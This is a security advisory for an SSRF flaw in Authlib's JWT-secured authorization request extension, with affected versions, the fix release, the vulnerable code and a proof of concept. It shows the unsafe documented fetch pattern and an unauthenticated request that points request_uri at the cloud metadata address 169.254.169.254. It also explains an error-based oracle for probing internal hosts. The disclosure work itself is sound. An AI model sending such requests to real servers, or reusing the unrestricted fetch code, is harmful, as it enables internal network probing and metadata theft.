GitHub Advisoryadvisory · PyPI
GHSA-x4rv-c3wx-4cr8 Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF
MEDIUM
Official page ↗
- Aliases
- CVE-2026-114620
- Ecosystem
- PyPI
- Packages
- authlib
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-10-27
Affected packages
• PyPI authlib: >= 1.6.0, < 1.9.0 → fixed in 1.9.0
Description
Summary
Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive.
Details
Verified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`.
The extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58).
The only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier.
The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:
```python
def _get_raw_request_object(self, request: OAuth2Request) -> str:
if "request_uri" in request.payload.data:
raw_request_object = self.get_request_object(
request.payload.data["request_uri"]
)
if not raw_request_object:
raise InvalidRequestUriError(state=request.payload.state)
```
`get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223):
```python
def get_request_object(self, request_uri: str):
try:
return requests.get(request_uri).text
except requests.Exception:
return None
```
Two points sharpen this beyond a generic documentation issue:
• The allowlist already exists and is ignored. Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use.
• RFC 9101 §10.4.1 asks for controls that are absent. It states the server should "a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`." The extension implements none of these and the documented example implements none of them either.
The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186).
PoC
This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.
```bash
python -m venv .venv && .venv/bin/pip install authlib
```
```python
from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request
from authlib.oauth2.rfc9101 import JWTAuthenticationRequest
reached = []
class Extension(JWTAuthenticationRequest):
def get_request_object(self, request_uri):
reached.append(request_uri) # the docstring puts requests.get(request_uri) here
return None
def resolve_client_public_key(self, client):
return {"keys": []}
def get_server_metadata(self):
return {}
def get_client_require_signed_request_object(self, client):
return False
class AuthorizationServer:
def query_client(self, client_id):
return object()
uri = "http://169.254.169.254/latest/meta-data/"
request = OAuth2Request("GET", "https://as.example/authorize")
request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri})
try:
Extension().parse_authorization_request(AuthorizationServer(), request)
except Exception as exc:
print("error:", type(exc).__name__)
print("fetch hook received:", reached)
```
Output on authlib 1.7.2:
```text
error: InvalidRequestUriError
fetch hook received: ['http://169.254.169.254/latest/meta-data/']
```
Against a deployment that used the docstring implementation, the equivalent unauthenticated request is:
```text
GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
```
Returning a fetched-but-non-JWT body instead of `None` in the snippet above yields `InvalidRequestObjectError` rather than `InvalidRequestUriError`, showing the oracle that distinguishes a reachable target from an unreachable one.
Impact
Server-side request forgery, reachable without authentication by anyone who knows a valid `client_id`. In a deployment that implemented `get_request_object` as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as `169.254.169.254`, and side-effectful internal GET routes. The `invalid_request_uri` versus `invalid_request_object` split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.
Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but authlib provides no hook to make that the default, ships `support_request_uri=True`, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.
Related
Alias · CVE (1)
- CVE-2026-114620 Authlib is a Python library which builds OAuth and OpenID Connect servers. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-114620 advisory
- https://github.com/authlib/authlib/pull/949 web
- https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0 web
- https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6 web
- https://github.com/authlib/authlib package
- https://github.com/authlib/authlib/releases/tag/v1.9.0 web